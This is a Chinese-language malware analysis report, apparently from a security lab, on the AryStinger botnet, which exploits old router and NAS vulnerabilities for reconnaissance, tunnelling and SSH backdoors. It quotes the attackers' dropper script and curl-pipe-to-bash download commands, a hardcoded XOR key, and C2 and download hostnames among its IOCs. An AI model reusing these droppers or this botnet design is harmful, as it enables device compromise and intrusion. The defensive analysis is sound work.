隐形毒刺:超4000台老旧路由器遭AryStinger入侵,沦为黑客全球攻击跳板
背景
"境外间谍情报机关利用我国境内老旧、过保的路由器作为网络攻击的“跳板”,向特定目标(如重点单位工作人员)实施网络窃密活动。" -- 国家安全部微信公众号
2026年5月20日,国安部微信公众号在文章《网速变慢,元凶竟是它!》中发出上述警示,指出老旧路由器正成为境外势力实施网络窃密的重点突破口。受该文启发,我们觉得必须重视老旧路由被入侵这一情况,本文将介绍奇安信XLab视野中一起不同寻常,专门针对基于RTL819X系列芯片的路由器设备的攻击活动。RTL819X系列芯片的主流活跃期集中在 2012 年至 2015 年左右,攻击者利用13年前被披露的漏洞攻陷大量老旧路由,组建侦察和攻击集群,用于入侵前期的踩点服务。(注:本文披露活动和国安部所述并无直接关系)
让我们把钟拨回到2026年3月12日,XLab大网威胁感知系统监测到IP 107.150.106.14通过老旧漏洞CVE-2013-3307以及CVE-2016-5681传播一个VT 0检测的C语言实现的ELF样本。受这俩个漏洞影响的分别是Linksys以及D-Link 10多年前的几款路由器设备。不同于常见的利用IOT设备漏洞组建DDoS或挖矿僵尸网络,此次活动旨在构建入侵侦察活动的基础设施集群,具备端口扫描,服务识别,子域名枚举等信息收集能力。4月26日,我们捕获了针对NAS设备,通过CVE-2025-11837传播的同源样本,该样本由Go语言实现,源码路径暗示项目名为Ary-Attack。综合其行为特征与技术来源,我们将这个未知的病毒家族命名为AryStinger。

AryStinger 是一个典型的僵尸程序(Bot),它通过 HTTP/HTTPS 协议与 C2 服务器通信。网络流量采用 Protobuf 编码并辅以简单的 XOR 加密。该程序在与 C2 服务器完成身份认证并获取配置更新后,将进入待命状态,等待执行服务器下发的任务。AryStinger 支持多种任务类型,包括内/外网络扫描、流量隧道转发/代理、执行系统命令、Go/Java/Python三种的源码级 Payload,以及通过 dropbear 或 gs-netcat 构建持久的远程管理通道。最终,被感染的设备既可被用于内网渗透拓展,也可被用于对外发起攻击,同时还能有效隐藏攻击者的真实身份与物理位置,成为整个攻击链条中集隐匿、中继、发力于一体的关键跳板。

每个运行 AryStinger 的节点被称为 Executor(执行器)。攻击者可以将一个庞大的扫描任务切分成多个小块,下发给不同的 Executor 并行执行。借助这种类似分布式的设计,攻击者能够高效地完成前期“踩点”活动,从而为后续入侵行动的流畅度与成功率提供有力保障。
根据奇安信网络空间测绘鹰图平台的资产探测数据,全球已有至少 4300 台路由器被感染,且数量仍在持续上升。需要注意的是,这一数字仅涵盖 AryStinger 在 RTL819X 类设备上的感染情况,目前尚无手段测量其对 NAS 设备的感染规模。我们暂不清楚,除了已知的 RTL819X和NAS,是否存在其他攻击目标。此外,AryStinger的网络通信使用了一个硬编码密钥sh_#@!_2024_secret,其中的"2024"字样是否意味着攻击者早在2024年就已开始此类活动,同样也不得而知。
尽管围绕 AryStinger 仍有许多谜题待解,但仅凭其针对老旧路由器的定向攻击这一事实,就足以将其定义为一个不容小觑的现实威胁。正如国家安全部所警示:“路由器作为日常上网的关键设备,一旦被非法入侵,不仅会威胁个人隐私与财产安全,甚至可能危害国家安全。” 更令人担忧的是,该恶意样本及其关联的 C2 服务器在主流安全引擎中检测率极低。正是鉴于这种“低检测率”与“高潜在危害”的叠加风险,我们决定撰写本文,将研究成果分享给安全社区,以期共同应对潜在风险,维护整体网络安全。
感染规模
AryStinger会在被入侵的设备上的特定端口部署dropbear,根据这一行为特征,通过资产测绘,我们发现全球至少超过4300台路由器被感染。

被感染设备主要为D-LINK路由器,受影响型号如下表所示,主要分布在韩国48.45%,中国31.82%,瑞典6.40%,马来西亚3.50%,新加坡2.50%。
| Device | Percent |
|---|---|
| DIR-850L | 75% |
| DIR-818LW | 13% |
| DIR-816L,DIR-818L,DWR-118,DIR-817LW | 1.3% |
| Unknow | 18% |
技术分析
AryStinger 分为 RTL819X 和 Standard 两个版本:前者使用 C 语言实现,主要针对 Linksys、D-Link 等老旧路由器,仅有massdns 和隧道功能,功能较为单一;后者使用 Go 语言实现,面向 NAS 设备,功能更全面,除了 IP 扫描、DNS 扫描、HTTP Alive 扫描外,还集成了 fscan、ksubdomain、httpx、Tlsx 等渗透工具,并支持远程命令执行与 Payload 执行。尽管两者在语言和功能集上存在差异,但核心工作逻辑基本一致。其实RTL819X是Standard的精简版本,正因为老旧路由器的性能无法支撑 Standard 版的完整功能,攻击者才选择用 C 语言重新实现了 Standard 的部分能力。

Part1: AryStinger RTL819X版
AryStinger RTL819X通过CVE-2013-3307以及CVE-2016-5681传播的脚本如下所示,它的功能是先从下载服务器hgodpcx[.]ajb8.com获得最新的版本号,然后下载执行对应的AryStinger样本。
#!/bin/sh
ENV="${ENV:-prod}"
BASE_URL="http://hgodpcx[.]ajb8.com"
VERSION=`wget -qO- "${BASE_URL}/${ENV}/RTL819X/latest"`
SRC_URL="${BASE_URL}/${ENV}/RTL819X/${VERSION}/syswapd0"
BIN_DIR="/tmp/bin"
BIN_PATH="${BIN_DIR}/syswapd0"
[ "$#" -gt 0 ] && CTX="$1" || CTX=""
killall -9 syswapd0h >/dev/null 2>&1 || true
killall -9 syswapd0w >/dev/null 2>&1 || true
mkdir -p "${BIN_DIR}"
rm -rf "${BIN_DIR}"/*
wget -q -O "${BIN_PATH}" "${SRC_URL}"
chmod +x "${BIN_PATH}"
"${BIN_PATH}" -b "${CTX}" >/dev/null 2>&1 &
rm -rf /tmp/cc.sh
从3月12日起,我们一共捕获了32个不同版本号的AryStinger样本文件。版本虽多,但其实功能变化不大。本文选取V2.0.27为主要分析对象,以下为它的基本信息。
MD5: abae20b26b70b526bebb5e2617092ede
MAGIC: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Version 2.0.27
AryStinger一共支持12个不同的参数,它们的用法在usage中已详细说明,大部分和扫描相关,如设置DNS扫描的并发,超时时间,日志回传域名等。

如果运行时指定 -d参数,就会禁止daemon模式,此时AryStinger会在在前台打印出调试信息,其中包括版本号,C2以及authsvc,hbsvc,updatesvc等多个任务的相关信息。

其实 AryStinger 的主要核心工作逻辑就是由authsvc、hbsvc、watchdogsvc 这些任务共同构成。

整体工作流程如下:
- AUTH(身份认证)
通过/auth接口向 C2 服务器eixfi.ajb8.com发送设备信息进行身份认证。认证通过后,C2 为该 Bot 分配一个唯一的 Executor ID,此后 Bot 与 C2 之间的所有通信都将附带该 ID 作为身份凭证。 - HB(心跳与配置更新)
通过/heartbeat和/config接口,实现心跳上报及配置更新功能。 - Watchdog(下载与部署)
从 Download 服务器hgodpcx.ajb8.com下载dropbear程序,并将其部署在端口 2332 上运行。 - Upgrad(样本自升级)
实现恶意样本的自动升级能力。 - TASK(任务拉取)
从 C2 服务器拉取域名探测任务。 - WORKER(任务执行)
执行 C2 下发的具体任务。 - TUNNEL(隧道穿透)
提供隧道功能,用于代理或转发网络流量。此功能在V2.0.27之后加入,使用了2个额外的C2sdkv1.dataexplore.cc和sdkv1.dataexplore.co。
下文将以 authsvc、watchdogsvc、tasksvc 三大任务为核心,分析 AryStinger 的功能实现。
① authsvc任务
Bot 通过 build_request_auth 函数收集设备的指纹信息,包括 MAC 地址、设备名称、公网地址、内网地址、操作系统版本,CPU架构,当前时间戳等。这些敏感数据先经过 Protobuf 编码,再使用硬编码密钥 sh_#@!_2024_secret 进行 XOR 加密,最终通过 HTTP 协议上报到 C2 的 /auth 接口。C2 收到上述消息后,若判定身份认证请求来自真实设备,则会为该 Bot 分配一个 Executor ID,作为后续任务派发的凭证。

我们在测试设备中运行的样本是V2.0.28,它产生的请求流量如下所示:

上述流量经xor解密,Protobuf反序列化之后如下所示,和我们的分析能一一对应
![]()
C2对上述请求的响应数据是63 a5 cd c2 42 81 59 33,使用相同的方法对它进行解密,可以看出C2为Bot分配的Executor ID为5785933。
{
"2": 5785933,
"100": 1
}
② watchdogsvc任务
Bot从Download服务器下载dropbear(一个轻量级SSH服务端)和dropbearkey(密钥生成工具)到/tmp/bin/目录,在本地特定端口启动dropbear SSH服务,并配置 iptables 放行该端口流量,从而为攻击者建立持久的远程登录后门。

③ tasksvc任务
Bot 通过向 C2 的 /cmd 接口发送请求以获取域名扫描任务。该请求在 HTTP 头中携带 X-Executor-ID 字段,值为身份认证阶段分配的 5785933,用于标识自身身份。AryStinger实现了类似massdns的扫描功能,它从C2下发的任务中提取扫描步长、偏移量、顶级域名列表、扫描类型、子域名长度范围、重试次数、超时时间、自定义字符集和DNS服务器列表等参数,构建任务对象后交由 worksvc 执行。这种设计意味着攻击者可以将一个大规模的扫描任务切分成多个子任务,分配给不同的 Bot 并行处理,从而实现分布式扫描。
以测试设备中产生的真实交互流量为例,首先来看Bot的请求报文,X-Executor-ID的值正是authsvc任务中C2下发的5785933。

再来看 C2 的响应报文,加密数据经 XOR 解密、Protobuf 反序列化后,可提取出任务配置:本次下发的为.ba顶级域爆破任务,offset 值为 11,654,000,000。这表明该 Bot 被分配扫描长度 7 子域名的中间偏前区域,覆盖该长度范围内约 12% 的扫描空间。

实际 Bot 在收到该指令后就会对.ba顶级域发起扫描,产生的扫描流量如下图所示。其实我们认为除了用于域名爆破之外,攻击者还可以利用这类任务对DNS 解析器(DNS Resolver)发起 DDoS 攻击。

Part2: AryStinger Standard版
AryStinger RTL819X通过CVE-2025-11837传播的脚本如下所示,它的功能是设置环境变化B64,分别从远程服务器下载执行脚本n和t。脚本n的主要功能是下载执行最新版本的AryStringer;而脚本t的功能则是下载执行tunnel工具。
curl -fsSL https://hgodpcx[.]ajb8.com/n
| env B64=H4sIAAAAAAAA_...[omit]... bash;
curl -skL https://hgodpcx[.]auq8.com/t | python
自4月26日起,我们捕获了22个不同版本号的AryStinger Standard版样本文件,本文选取V1.0.102为主要分析对象,它的基本信息如下所示:
MD5:a5101caf0a1789d6a4bc30e644d6b152
MAGIC:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked
Packer: UPX
Version: 1.0.102
AryStinger Standard 的核心工作流程集中于 6 个函数,可明确划分为两类:一类是 installGSocket,另一类是多个 Loop 函数(如 authLoop、cmdLoop 等)。这些函数与 RTL819X 版本在功能上一一对应,仅在具体实现上存在差异。例如持久化远程管理通道的构建方式:RTL819X 版本通过下载部署 Dropbear 实现,而 Standard 版本则通过main_installGSocket下载部署 gs-netcat 。

AryStinger Standard 与 AryStinger RTL819X 具体的函数对应关系如下表所示。相较于 RTL819X 版本,Standard 版本不仅新增了内网扫描(intranetScan)功能,还将 C2 下发的任务类型从单一的 masscan 扩充至 ScriptWork、HttpAliveWork 等共计 6 种任务。
| AryStinger Standard | AryStinger RTL819X |
|---|---|
| main_authLoop | authsvc |
| main_cmdLoop | tasksvc |
| main_heartLoop | hbsvc |
| main_upgradeLoop | updatesvc |
| main_installGsocket | watchdogsvc |
| main_intranetScanLoop | N/A |
| N/A | tunnelsvc |
下文将围绕 Standard 版相较于 RTL819X 版的变化点,从网络通信和新增功能两个方面,对其功能实现进行简要剖析。
① 网络通信
AryStinger Standard 硬编码了俩个 C2 地址 dybic.ajb8.com和opi7.com,通信基于 HTTPS 协议。其数据报文采用 Protobuf 进行序列化,随后经过 Gzip 压缩和 XOR 加密。以 main_authLoop 函数发起的身份认证请求为例,实际产生的流量(V)如下所示:

数据报文依次经过 XOR 解密、Gunzip 解压和 Protobuf 解码后,还原出的正是测试设备中的各类敏感信息。

② 新增任务
AryStinger Standard 大幅扩展了 C2 下发的任务类型,从原先的仅 1 种增加至以下 6 种,各函数的功能已由其函数名直接体现,本文不再逐一展开,仅对其中最具代表性的 ScriptWork 进行简要说明。
| Method ID | Function |
|---|---|
| 1 | ScriptWork |
| 2 | DnsWork |
| 3 | HttpAliveWork |
| 4 | HttpScanWork |
| 5 | DomainScanWrok |
| 6 | IPScanWork |
ScriptWork 支持执行 Shell 命令以及 Go、Java、Python 三类的源码级 Payload。这种设计极大提升了攻击者的操作灵活性:无需为不同平台分别编译二进制文件,也无需关心目标设备的具体架构,只需直接下发源码即可动态执行。无论是信息收集、权限维持,还是横向移动,攻击者都可以根据实际场景快速定制并分发功能模块,大幅降低了攻击成本和时间窗口。

这种设计虽然灵活,但弊端也很明显:执行环境依赖严重(如 Python、Java、Go)。一旦环境缺失,攻击者就不得不进行额外的下载、安装操作。这不但显著拉长了攻击链条,增加了暴露风险,更可能在受限的内网或容器环境中直接导致整个攻击流程中断。同时,源码需以明文文件形式落地,解释器进程的命令行也会被系统审计日志清晰记录,相比无文件、内存型的二进制 Payload,暴露面大幅增加,更容易被 EDR、HIDS 等安全产品捕获和溯源。

③ 内网扫描
AryStinger 通过集成 Fscan、Ksubdomain 等开源工具,构建了强大的内网侦察能力。它能够自动化收集系统配置、进程、网络、漏洞等关键信息。

AryStinger的工作目录是/tmp/bin,在此目录将保存其下载的开源工具集,内网扫描集扫描结果。扫描完成时,这些结果将回传至 C2。攻击者根据这些汇聚后的内网态势信息,制定精准的后续入侵或横向移动策略,实现攻击活动的闭环。

④ 隧道功能
AryStinger Standard 本身不具备隧道功能。然而,漏洞传播利用的 Payload 中包含代码:curl -skL https://hgodpcx[.]auq8.com/t 。该命令下载的 't' 是一个 Python 脚本,其核心作用是进一步下载执行nat_tunnel-linux-x86_64,从而实现隧道穿透。样本中硬编码了和前文RTL819X Tunnel一样的C2服务器。

nat_tunnel-linux-x86_64 疑似由 AI 辅助生成,其硬编码 C2 与 RTL819X 版 Tunnel 一致,功能同样为在感染主机上建立流量代理或转发通道。

总结
这是我们掌握的关于 AryStinger 家族的核心情报。老旧路由器长期缺乏固件更新与安全维护,一旦被AryStinger这类具备侦察与隐蔽控制能力的恶意软件入侵,相当于黑客在你的网络里安放永久的“隐形监听器”和“攻击跳板”,攻击者可以借此轻松的实现以下三重危害:
-
窃密:悄无声息地监控所有进出流量,窃取各类敏感信息
-
劫持:随意篡改DNS,将用户引导至钓鱼,色情,赌博网站或其它病毒木马下载页面
-
隐匿攻击:以被控路由器为跳板,向全球目标发起扫描、渗透、DDoS攻击或传播恶意软件,而真实攻击源难以追溯
毫无疑问,当大量老旧设备陆续沦陷,汇聚,最终将形成规模庞大的隐蔽僵尸网络时,这将对个人隐私、企业安全乃至国家关键网络基础设施构成持续、隐蔽且高破坏力的现实威胁。
强烈建议读者立即从以下3个层面进行自查,以判断系统是否已被感染,并及时替换或下线长期未更新固件的老旧路由设备,请勿让你的“网络大门”为黑客敞开。
-
网络:检查是否与文内IOC域名存在通信。
-
文件:登录设备,检查 /tmp/bin 目录是否存在恶意样本。
-
进程:检查是否存在 syswapd0h 或 syswapd0w 进程。
目前,我们仍在深入挖掘 AryStinger 背后的犯罪团伙,欢迎了解内幕的读者向我们提供更多的情报。如果你对我们的研究感兴趣,或希望获取帮助,可通过X平台与我们联系。
IOC
C2
http://opi7.com
http://xook.ajb8.com
http://xonice.ahb8.com
http://eixfi.ajb8.com
https://dybic.ajb8.com
https://sdkv1.dataexplore.cc
https://sdkv1.dataexplore.co
Downloader
hgodpcx.auq8.com
hgodpcx.ajb8.com
io.ary2.com
Scanner IP
107.150.106.14
manifest URL
https://hgodpcx.ajb8.com/prod/RTL819X/{version}/manifest.json
https://hgodpcx.ajb8.com/prod/standard/{version}/manifest.json
Downloader URL
http://hgodpcx.ajb8.com/prod/RTL819X/{version}/syswapd0
https://hgodpcx.ajb8.com/prod/standard/{version}/syswapd0-linux-amd64
Sample
#RTL819X
df0c9f6289e56f31c0700f40590857d3 *syswapd0_V2.0.1
98e55d712a99d2cd45e8592c6dda5110 *syswapd0_V2.0.2
10ba24db187836efe77ed7e75d279d33 *syswapd0_V2.0.3
6f761f63642cd6329a29cfad80be50c3 *syswapd0_V2.0.4
dbcc5a3e6afe41060d6357e24dc03fd3 *syswapd0_V2.0.5
a97e552f5e655e1cfa56853f65beeb0e *syswapd0_V2.0.6
c113739225ece5f6e4805466dec1401d *syswapd0_V2.0.7
0a2d2a4ec1ca2aa6a23a35abb5a75451 *syswapd0_V2.0.8
dd1e5a3cd9f842bd70be45a62c3ebbf6 *syswapd0_V2.0.9
16fed5909de4f50351fc33fbfcf156df *syswapd0_V2.0.10
6f91d1f8f0cbaab137351936b52f7a94 *syswapd0_V2.0.11
fc4cee066d8526f5806bb23278f647da *syswapd0_V2.0.12
7b361a6d0d42309d09ec9000b53712b3 *syswapd0_V2.0.13
18f894a3168ee0b809eed321a2e748b4 *syswapd0_V2.0.14
0627f034c42549e2130734b5f8dbf854 *syswapd0_V2.0.15
b9406e969cdfdaef433e93d0b9ad1f5d *syswapd0_V2.0.16
f093891e281bcd9c8016dea7d89cc671 *syswapd0_V2.0.17
9221423d7daff9e64f7e2af54f911fea *syswapd0_V2.0.18
7f2b2e3516fa454adfd51f857ae80adf *syswapd0_V2.0.20
dbdd4d8e4aef3ce69cf65ed470425c89 *syswapd0_V2.0.21
d79270ba44e665ebb0383eb77a52e38b *syswapd0_V2.0.22
36ff9f683e870145aaf5a715bc934762 *syswapd0_V2.0.23
dc35086ba0f5f83545c32a023a1f3be4 *syswapd0_V2.0.24
7461445fca3f9d8911148e0908d33c3b *syswapd0_V2.0.25
a3181550e0e0a6153a44b7a0495535b0 *syswapd0_V2.0.26
4c80d17fa5db5b1c2aaddb5351e9cb6b *syswapd0_V2.0.27
abae20b26b70b526bebb5e2617092ede *syswapd0_V2.0.28
fffcbd0ac2cb545496890f50395181ff *syswapd0_V2.0.29
a3e3197e2344c51e95c063541ea22205 *syswapd0_V2.0.30
e9916ff56074725f5739ead5091fe6c7 *syswapd0_V2.0.31
#Standard
ff11e000f377c54dea928b09ebad9df8 *syswapd0-linux-amd64-V1.0.61
fcc9de5c040307e6ac3011e8b379f6d9 *syswapd0-linux-amd64-V1.0.62
ed9209111b995cbe78f8e097c289f127 *syswapd0-linux-amd64-V1.0.63
b104a05e8a2e218adfb7654ba8bf3d49 *syswapd0-linux-amd64-V1.0.64
9660895fa3fcabbef466703636f6d51d *syswapd0-linux-amd64-V1.0.66
b0f4f813a9de094c06821366e2459aee *syswapd0-linux-amd64-V1.0.67
8cc249b16adf7e4a658af7fa31d7998e *syswapd0-linux-amd64-V1.0.68
9973676bfa9fe89aa5c76e3cd0b21ae8 *syswapd0-linux-amd64-V1.0.76
d997efa98afab2c003654b8d5ce2bedf *syswapd0-linux-amd64-V1.0.79
8deb2a60d42de0f8f8786e485d2f046f *syswapd0-linux-amd64-V1.0.80
dc71c10ca0b2c83b6b3a6a062fca314f *syswapd0-linux-amd64-V1.0.81
6869f24aecd75e2144aba8dc03dc2d0f *syswapd0-linux-amd64-V1.0.88
05627d1bddb7292bb45139244f46051f *syswapd0-linux-amd64-V1.0.89
19232d0eff3ef7aee3b5d7620c72358c *syswapd0-linux-amd64-V1.0.90
8edb3ea62a7e643ba1a88d20799cf94f *syswapd0-linux-amd64-V1.0.91
ea2fe3b409da439aec25cf7eabf5b7a7 *syswapd0-linux-amd64-V1.0.93
0ffb4b4e430f4b69216fb9d2e082e482 *syswapd0-linux-amd64-V1.0.95
5d9cdb072415b191df3f444f53b2ff4b *syswapd0-linux-amd64-V1.0.96
44805c4b36bd3d97ba8ecaf6fe103572 *syswapd0-linux-amd64-V1.0.97
d2fd89ebdad493ec9ac76ce35213cec4 *syswapd0-linux-amd64-V1.0.98
a2d54fcd0c2816f607a5962523fc648c *syswapd0-linux-amd64-V1.0.101
a5101caf0a1789d6a4bc30e644d6b152 *syswapd0-linux-amd64-V1.0.102
#Tunnel
e6b27080aa1ce1901a23dd75716d9092 *nat_tunnel-linux-x86_64